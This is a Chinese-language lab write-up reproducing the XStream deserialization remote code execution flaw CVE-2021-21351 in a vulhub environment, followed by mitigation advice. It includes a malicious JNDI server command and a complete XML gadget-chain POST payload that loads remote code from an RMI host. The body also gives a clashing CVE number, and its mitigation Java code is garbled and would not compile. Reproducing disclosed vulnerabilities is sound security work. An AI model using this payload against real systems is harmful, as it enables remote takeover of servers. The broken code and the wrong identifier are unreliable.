CVE-2021-21351:XStream反序列化远程代码执行漏洞简析

漏洞概述

XStream是Java类库，用来将对象序列化成XML （JSON）或反序列化为对象。

在 1.4.16 版本之前的 XStream 中，存在反序列化远程代码执行漏洞，漏洞编号为CVE-2021-45232，漏洞等级：高危。该漏洞允许远程攻击者操纵已处理的输入流并替换或注入对象，从而执行从远程服务器加载的任意代码。

影响版本

XStream<=1.4.15

环境搭建

本次使用vulhub搭建本地测试环境进行复现：

第一步，执行以下命令，将vulhub环境拉取到本地。

git clone https://github.com/vulhub/vulhub

第二步，执行以下命令，启动服务。

cd vulhub-master/xstream/CVE-2021-21351docker-compose up -d

第三步，执行docker ps命令查看容器运行状况

第四步，访问http://your-ip:8080即可看到目标页面。

第五步，向http://your-ip:8080发送一个正常的XML数据包，将会得到预期返回：

<?xml version="1.0" encoding="UTF-8" ?><user> <name>Bob</name> <age>18</age></user>

漏洞复现

下载辅助工具，下载地址如下：

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

使用该辅助工具启动恶意JNDI服务器：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.150.191

方框所选的是基于SpringBoot漏洞利用工具的RMI地址：

rmi://192.168.150.191:1099/debtks

使用基于SpringBoot利用链的RMI地址作为<dataSource>的值，构造POC如下：

POST / HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: application/xmlContent-Length: 3184
<sorted-set>  <javax.naming.ldap.Rdn_-RdnEntry>    <type>ysomap</type>    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>      <m__DTMXRTreeFrag>        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>          <m__size>-10086</m__size>          <m__mgrDefault>            <__overrideDefaultParser>false</__overrideDefaultParser>            <m__incremental>false</m__incremental>            <m__source__location>false</m__source__location>            <m__dtms>              <null/>            </m__dtms>            <m__defaultHandler/>          </m__mgrDefault>          <m__shouldStripWS>false</m__shouldStripWS>          <m__indexing>false</m__indexing>          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>              <javax.sql.rowset.BaseRowSet>                <default>                  <concurrency>1008</concurrency>                  <escapeProcessing>true</escapeProcessing>                  <fetchDir>1000</fetchDir>                  <fetchSize>0</fetchSize>                  <isolation>2</isolation>                  <maxFieldSize>0</maxFieldSize>                  <maxRows>0</maxRows>                  <queryTimeout>0</queryTimeout>                  <readOnly>true</readOnly>                  <rowSetType>1004</rowSetType>                  <showDeleted>false</showDeleted>                  <dataSource>rmi://evil-ip:1099/example</dataSource>                  <listeners/>                  <params/>                </default>              </javax.sql.rowset.BaseRowSet>              <com.sun.rowset.JdbcRowSetImpl>                <default/>              </com.sun.rowset.JdbcRowSetImpl>            </fPullParserConfig>            <fConfigSetInput>              <class>com.sun.rowset.JdbcRowSetImpl</class>              <name>setAutoCommit</name>              <parameter-types>                <class>boolean</class>              </parameter-types>            </fConfigSetInput>            <fConfigParse reference='../fConfigSetInput'/>            <fParseInProgress>false</fParseInProgress>          </m__incrementalSAXSource>          <m__walker>            <nextIsRaw>false</nextIsRaw>          </m__walker>          <m__endDocumentOccured>false</m__endDocumentOccured>          <m__idAttributes/>          <m__textPendingStart>-1</m__textPendingStart>          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>          <m__pastFirstElement>false</m__pastFirstElement>        </m__dtm>        <m__dtmIdentity>1</m__dtmIdentity>      </m__DTMXRTreeFrag>      <m__dtmRoot>1</m__dtmRoot>      <m__allowRelease>false</m__allowRelease>    </value>  </javax.naming.ldap.Rdn_-RdnEntry>  <javax.naming.ldap.Rdn_-RdnEntry>    <type>ysomap</type>    <value class='com.sun.org.apache.xpath.internal.objects.XString'>      <m__obj class='string'>test</m__obj>    </value>  </javax.naming.ldap.Rdn_-RdnEntry></sorted-set>

执行成功可以查看攻击机上日志，如下图所示：

进入目标容器内，可见“touch /tmp/success”命令已成功执行：

处置建议

1.配置XStream的安全框架为允许的类型使用白名单

XStream xstream= new XStream();XStream.setupDefaultSecurity(xstream);// 添加您允许的类型，在此处输入层次结构或包

2.注册自己的转换器，以防止解组当前已知的Java运行时关键类型

xstream.registerConverter(newConverter() {publicbooleancanConvert(Classtype) {returntype!=null&&(type==java.beans.EventHandler.class||type==java.lang.ProcessBuilder.class||type==java.lang.Void.class||void.class||type.getName().equals("javax.imageio.ImageIO$ContainsFilter") ||type.getName().equals("sun.awt.datatransfer.DataTransferer$IndexOrderComparator") ||type.getName().equals("com.sun.corba.se.impl.activation.ServerTableEntry") ||type.getName().equals("com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator")||type.getName().matches("javafx\\.collections\\.ObservableList\\$.*") ||type.getName().matches(".*\\$ServiceNameIterator") ||type.getName().matches(".*\\$GetterSetterReflection") ||type.getName().matches(".*\\$LazyIterator") ||type.getName().matches(".*\\.bcel\\..*\\.util\\.ClassLoader")||java.io.InputStream.class.isAssignableFrom(type) ||java.nio.channels.Channel.isAssignableFrom(type) ||javax.activation.DataSource.isAssignableFrom(type) ||javax.sql.rowset.BaseRowSet.isAssignableFrom(type)||Proxy.isProxy(type));}publicObjectunmarshal(HierarchicalStreamReaderreader, UnmarshallingContextcontext) {thrownewConversionException("Unsupported type due to security reasons.");}publicvoidmarshal(Objectsource, HierarchicalStreamWriterwriter, MarshallingContextcontext) {thrownewConversionException("Unsupported type due to security reasons.");}}, XStream.PRIORITY_VERY_HIGH);

3.升级XStream到最新版本